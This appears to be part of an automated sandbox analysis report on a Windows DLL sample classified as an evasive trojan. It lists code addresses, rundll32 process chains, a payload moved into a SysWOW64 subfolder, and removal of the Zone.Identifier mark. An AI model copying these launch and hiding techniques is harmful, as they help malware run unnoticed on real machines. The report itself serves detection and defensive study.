Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0284BD61	4_2_0284BD61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0284CF6E	4_2_0284CF6E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_02860370	4_2_02860370
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EE1291	16_2_02EE1291
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EDEA55	16_2_02EDEA55
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ED56E9	16_2_02ED56E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ECC0EA	16_2_02ECC0EA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC40E2	16_2_02EC40E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ED40FE	16_2_02ED40FE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC46FA	16_2_02EC46FA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC1EFB	16_2_02EC1EFB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ED62F5	16_2_02ED62F5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ED4CF5	16_2_02ED4CF5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC84F0	16_2_02EC84F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EE20CE	16_2_02EE20CE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ED10CD	16_2_02ED10CD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC92C1	16_2_02EC92C1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC2CC2	16_2_02EC2CC2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EE1CDB	16_2_02EE1CDB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC90D4	16_2_02EC90D4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ED28D5	16_2_02ED28D5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ED52D1	16_2_02ED52D1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ECF48A	16_2_02ECF48A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ECA083	16_2_02ECA083
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ECFE9D	16_2_02ECFE9D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EDE899	16_2_02EDE899
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EDA29B	16_2_02EDA29B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ED009A	16_2_02ED009A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ED0E97	16_2_02ED0E97
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EDCE90	16_2_02EDCE90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ED0A93	16_2_02ED0A93
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC3A6C	16_2_02EC3A6C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ECB464	16_2_02ECB464
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ECEE60	16_2_02ECEE60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC387F	16_2_02EC387F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ECFA78	16_2_02ECFA78
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EDB677	16_2_02EDB677
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC544C	16_2_02EC544C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ECAA4E	16_2_02ECAA4E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ED7445	16_2_02ED7445
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ED3043	16_2_02ED3043
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ECAE43	16_2_02ECAE43
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ECCE5A	16_2_02ECCE5A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC6453	16_2_02EC6453
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ED282D	16_2_02ED282D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC3228	16_2_02EC3228
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC9824	16_2_02EC9824
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC243F	16_2_02EC243F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC3432	16_2_02EC3432
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC800A	16_2_02EC800A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EDC205	16_2_02EDC205
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EE261E	16_2_02EE261E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EDEDED	16_2_02EDEDED
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC51EC	16_2_02EC51EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ECA3E7	16_2_02ECA3E7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC19C0	16_2_02EC19C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC75D2	16_2_02EC75D2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EDDDA5	16_2_02EDDDA5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ED0BA4	16_2_02ED0BA4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EDE5A7	16_2_02EDE5A7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ED89A2	16_2_02ED89A2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC43BE	16_2_02EC43BE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC59BF	16_2_02EC59BF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EDD7BE	16_2_02EDD7BE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ED85B8	16_2_02ED85B8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EDE3B5	16_2_02EDE3B5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC358B	16_2_02EC358B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EDDB87	16_2_02EDDB87
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC8D80	16_2_02EC8D80
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC4B81	16_2_02EC4B81
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ED3782	16_2_02ED3782
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC7795	16_2_02EC7795
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ED1591	16_2_02ED1591
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ECB191	16_2_02ECB191
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ECCF6E	16_2_02ECCF6E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ECBD61	16_2_02ECBD61
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EE0370	16_2_02EE0370
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ED6540	16_2_02ED6540
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ECA92F	16_2_02ECA92F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ED9124	16_2_02ED9124
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ECF73B	16_2_02ECF73B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EDCD35	16_2_02EDCD35
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ED3D0C	16_2_02ED3D0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EDBF0C	16_2_02EDBF0C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ED590E	16_2_02ED590E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ED970A	16_2_02ED970A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EDE10A	16_2_02EDE10A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC4D1E	16_2_02EC4D1E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02ECCB13	16_2_02ECCB13

Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6EDCAC90 appears 33 times
Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6EDB1DE0 appears 97 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6EDCAC90 appears 33 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6EDB1DE0 appears 93 times

Source: C:\Windows\SysWOW64\rundll32.exe

Process Stats: CPU usage > 98%

Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll			Jump to behavior

Source: Zd9TtpY4Kh.dll

ReversingLabs: Detection: 17%

Source: Zd9TtpY4Kh.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\Zd9TtpY4Kh.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\Zd9TtpY4Kh.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\Zd9TtpY4Kh.dll,Control_RunDLL
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\Zd9TtpY4Kh.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\Zd9TtpY4Kh.dll,ajkaibu
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\Zd9TtpY4Kh.dll,akyncbgollmj
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\Zd9TtpY4Kh.dll",Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kqkxkcs\syeog.ubw",IADPmoEsmQuul
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\Zd9TtpY4Kh.dll",Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\Zd9TtpY4Kh.dll",Control_RunDLL
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 5444 -ip 5444
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5444 -s 320
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 168 -p 5444 -ip 5444
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5444 -s 340
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Kqkxkcs\syeog.ubw",Control_RunDLL
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k wsappx -p -s AppXSvc
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\Zd9TtpY4Kh.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\Zd9TtpY4Kh.dll,Control_RunDLL	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\Zd9TtpY4Kh.dll,ajkaibu	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\Zd9TtpY4Kh.dll,akyncbgollmj	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\Zd9TtpY4Kh.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kqkxkcs\syeog.ubw",IADPmoEsmQuul	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\Zd9TtpY4Kh.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\Zd9TtpY4Kh.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\Zd9TtpY4Kh.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Kqkxkcs\syeog.ubw",Control_RunDLL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 5444 -ip 5444	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5444 -s 320	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 168 -p 5444 -ip 5444	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5444 -s 340	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WER2A77.tmp

Jump to behavior

Source: classification engine

Classification label: mal80.troj.evad.winDLL@45/21@0/2

Source: C:\Windows\SysWOW64\rundll32.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\Zd9TtpY4Kh.dll,Control_RunDLL

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:1060:64:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:5988:64:WilError_01
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5444
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4500:120:WilError_01

Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Source: Zd9TtpY4Kh.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: Zd9TtpY4Kh.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000016.00000003.550124184.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.579244132.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000016.00000003.550124184.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.579244132.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000016.00000003.550124184.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000016.00000003.547405637.0000000004247000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.579244132.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000016.00000003.550124184.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.579244132.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000016.00000003.550124184.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.579244132.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000016.00000003.550124184.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.579244132.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000016.00000003.550124184.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.579244132.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000016.00000003.550124184.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.579244132.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000016.00000003.550124184.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.579244132.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000016.00000003.550124184.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.579244132.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbk source: WerFault.exe, 00000016.00000003.550124184.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.579244132.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000016.00000003.550124184.0000000004AE1000.00000004.00000001.sdmp, WerFault.exe, 00000018.00000003.579244132.0000000004CF1000.00000004.00000001.sdmp
Source:	Binary string: oCReportStore::Prune: MaxReportCount=%d MaxSizeInMb=%dRSDSwkernel32.pdb source: WerFault.exe, 00000016.00000002.558985730.0000000000472000.00000004.00000001.sdmp

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00FA13E7 push esi; retf	0_2_00FA13F0
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6EDD6A93 push ecx; ret	0_2_6EDD6AA6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EDD6A93 push ecx; ret	2_2_6EDD6AA6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_028413E7 push esi; retf	4_2_028413F0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 16_2_02EC13E7 push esi; retf	16_2_02EC13F0

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6EDBE690 WaitForSingleObjectEx,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentProcess,CreateMutexA,CloseHandle,ReleaseMutex,

0_2_6EDBE690

Source: C:\Windows\SysWOW64\rundll32.exe

PE file moved: C:\Windows\SysWOW64\Kqkxkcs\syeog.ubw

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

File opened: C:\Windows\SysWOW64\Kqkxkcs\syeog.ubw:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
